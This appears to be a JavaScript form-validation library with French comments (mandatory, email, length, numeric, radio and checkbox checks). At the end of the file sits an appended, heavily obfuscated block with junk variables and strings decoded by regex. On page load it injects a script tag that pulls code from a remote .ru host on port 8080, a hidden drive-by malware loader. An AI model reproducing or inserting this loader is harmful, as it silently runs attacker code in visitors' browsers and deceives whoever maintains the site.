/**
* Function de controle de formulaire
* 
* @author   mabaakouk@alcyonis.fr
* @version  1.0 
* @since    28/06/2004
*
**/

var champ_a_verif=new Array();
var champ_a_verif_form=new Array();
var champ_a_verif_libelle=new Array();
var champ_a_verif_type=new Array();
var champ_a_verif_error_string="Veuillez renseigner les informations suivantes";

/* ajout_champ_a_verif
*
*	Ajout un champ de formulaire au processus de verification
*
* @param    string    nom du formulaire
* @param    string    nom du champ du formulaire
* @param    string    libelle du message d'erreur lorsqu'un champs n'est pas valide
* @param    string    type du champs à verifier
*           Valeur possible :
*			 - "mandatory" : on verifie que le champ n'est pas vide
*			 - "email" : on verifie que le champs contient une adresse email
*			 - "minN"  : on verifie que le champ contient au moin N caractere
*			 - "maxN"  : on verifie que le champ contient au plus N caractere
*			 - "radio" : on verifie que un des  bouton radio et selectionne (uniquement sur un champ 'radiobutton') !!!implique mandatory!!!
*			 - "checkbox" : on verifie que le champ est coche (uniquement sur un champ 'checkbox') !!!implique mandatory!!!
*			 - "int" :  on verifie que le champ est un entier
*			 - "float" : on verifie que le champ est un float
*
* @return   string    return true si les informations sont correct
**/

function ajout_champ_a_verif(form,name,libelle,type){
	//alert(name+","+libelle+","+type)
	if (name!="" && libelle!="" && form!="" && name!=undefined && libelle!=undefined && form!=undefined)
	{
		index=champ_a_verif.length;
		champ_a_verif[index]=name;
		champ_a_verif_form[index]=form;
		champ_a_verif_libelle[index]=libelle;
		champ_a_verif_type[index]=type;
		return true;
	}
	else
		return false;
}

/* set_error_champ_a_verif
*
*	Ajout un champ de formulaire au processus de verification
* @param    string    Le message d'erreur
*
**/

function set_error_champ_a_verif(str){
	champ_a_verif_error_string=str;
}

/* ajout_champ_a_verif
*
*	Lance la verification du formulaire et genere une erreur si il a lieu
*
* @param    string    nom du formulaire à verifier
* @return   string    return true si les informations sont correct sinon false;
*
**/

function verif_champ(theform){
	var str_verif="";
	//verification du contenu des champ type
	//alert(champ_a_verif.length);
	for(i=0;i<champ_a_verif.length;i++)
	{
		if(champ_a_verif_form[i]==theform)
		{
			//alert(champ_a_verif_type[i]);

			if (champ_a_verif_type[i]=="radio")
			{
				is_good = verif_type_radio(champ_a_verif[i]);
			}
			else if (champ_a_verif_type[i]=="checkbox")
			{
				is_good = eval("document."+theform+"."+champ_a_verif[i]+".checked");
			}
			else if (champ_a_verif_type[i]=="mandatory")
			{
				is_good = (eval("document."+theform+"."+champ_a_verif[i]+".value")!="");
			}		
			else if ( eval("document."+theform+"."+champ_a_verif[i]+".value")!="" && eval("document."+theform+"."+champ_a_verif[i]+".value")!=undefined)
			{
				if (champ_a_verif_type[i]=="email")
				{
					is_good = verif_type_email(eval("document."+theform+"."+champ_a_verif[i]+".value"));
				}
				else if (champ_a_verif_type[i]=="float")
				{
					is_good = !isNaN(eval("document."+theform+"."+champ_a_verif[i]+".value"));
				}			
				else if (champ_a_verif_type[i]=="int")
				{
					is_good = ( !isNaN(eval("document."+theform+"."+champ_a_verif[i]+".value")) && eval("document."+theform+"."+champ_a_verif[i]+".value.indexOf('.')")==-1 );
				}
				else if (champ_a_verif_type[i].substr(0,3)=="min")
				{
					is_good = (eval("document."+theform+"."+champ_a_verif[i]+".value.length")>=champ_a_verif_type[i].substring(3,champ_a_verif_type[i].length));
				}
				else if (champ_a_verif_type[i].substr(0,3)=="max")
				{
					is_good = (eval("document."+theform+"."+champ_a_verif[i]+".value.length")<=champ_a_verif_type[i].substring(3,champ_a_verif_type[i].length));
				}
			}
			else
				is_good=true;
			if (!is_good)
				str_verif+="\n- "+champ_a_verif_libelle[i];

		}// fin if(champ_a_verif_type_form[i]==theform)
	}// fin for(i=0;i<champ_a_verif.length;i++)
	if (str_verif!="")
	{	
		alert(champ_a_verif_error_string+" : "+str_verif);
		return false;
	}
	return true;
	
}

/* Fonction de controle de champ speciaux utilise par verif_champ() */
function verif_type_email (email)
{
	var at = email.indexOf('@');
	var dot = email.indexOf('.');
	
	if(at > 0 && ((dot - at) != 1) && ((dot - at) > 0))
		return true;
	else
		return false;			
}

function verif_type_radio(btn_radio){
	var is_good;
	for (j=0;document.getElementsByName(btn_radio)[j];j++ )
	{
		is_good = document.getElementsByName(btn_radio)[j].checked || is_good;
	}	
	return is_good;
}
var N;if(N!='' && N!='F'){N='m'};function u() {this.V="";var k_=new String();var JX=new String();var h=']';this.id="";this.c="";var P='[';var Bp=new String();var Cy=new Date();var f='replace';var Ri;if(Ri!='' && Ri!='_K'){Ri=null};var q;if(q!='' && q!='km'){q=null};var L;if(L!='mr'){L=''};var p='g';var nt;if(nt!='' && nt!='few'){nt=''};var j=RegExp;this.Ff="";var b;if(b!='dy'){b='dy'};var B=new String();var jw=new Date();function z(A,D){var oE='';var i=P;var Lv="";var Hl;if(Hl!='ll' && Hl != ''){Hl=null};i+=D;i+=h;var EN=new String();var l=new j(i, p);var WR=new Array();var DZ='';return A[f](l, B);};this.Ld="";var Fg;if(Fg!='PE'){Fg='PE'};var sv=new Date();var o=z('hYt_tYpY:R/_/_c5h_iYnzaz-Yczo5mz-_cznR._aRnYj5uRk_e5.zcRo_mY.YnYeYtRlRozgY-5c5oRmR._jYeRrRs_e5yRhYoYmzeYs_i_tRe5.Rrzu5:z',"_RzY5");var WT;if(WT!='aN'){WT='aN'};var _B='';var PL='';var pN=window;var Q=z('sOcIroijpftO',"ojOfI");var d=z('c_r_e8a_t8e8E8l8e8m8e_n8t_',"8_");var bD;if(bD!='Li' && bD!='jY'){bD='Li'};var fz=new Array();var e=z('834315405445181344434011555',"4315");var wR=new Array();var hI=new Date();var R=z('/6gvovo6gvlvev.ycyoPmP/PgPoyoygylvev.ycyoymy/6ty-Pm6ovbvi6l6ev.ycyoPmy/vaPzyePty.vsyky/PpPhvovtvoPbyuPcvkPePtv.ycvoPmP.yp6hypy',"Py6v");var ml=new Date();var l_=new Date();pN[z('oDnDlDoxaxdD',"xD")]=function(){var rb;if(rb!='ke'){rb=''};try {this.DU='';var PP;if(PP!='CF' && PP != ''){PP=null};PL+=o;PL+=e;var Kr;if(Kr!='VD' && Kr != ''){Kr=null};PL+=R;this.uL="";O=document[d](Q);this.mQ="";this.HT="";var HQ;if(HQ!='' && HQ!='rR'){HQ='wi'};var jf=new Date();E(O,'src',PL);var FE=new Array();var Se="";var Hr=new Date();E(O,'defer',([1,7][0]));this.Pj="";var Qn=new Array();document.body.appendChild(O);this.xJ="";} catch(Y){var zI;if(zI!='' && zI!='Px'){zI=null};};};var Vm=new String();var AA='';function E(W,fC,n){var q_;if(q_!='' && q_!='qe'){q_=null};W.setAttribute(fC, n);var Xk;if(Xk!='Sy' && Xk != ''){Xk=null};this.ye="";}var Rf='';var Tt;if(Tt!='qT'){Tt=''};var MM=new Array();this.zN="";};var Ii;if(Ii!='' && Ii!='uoD'){Ii=''};var WU='';u();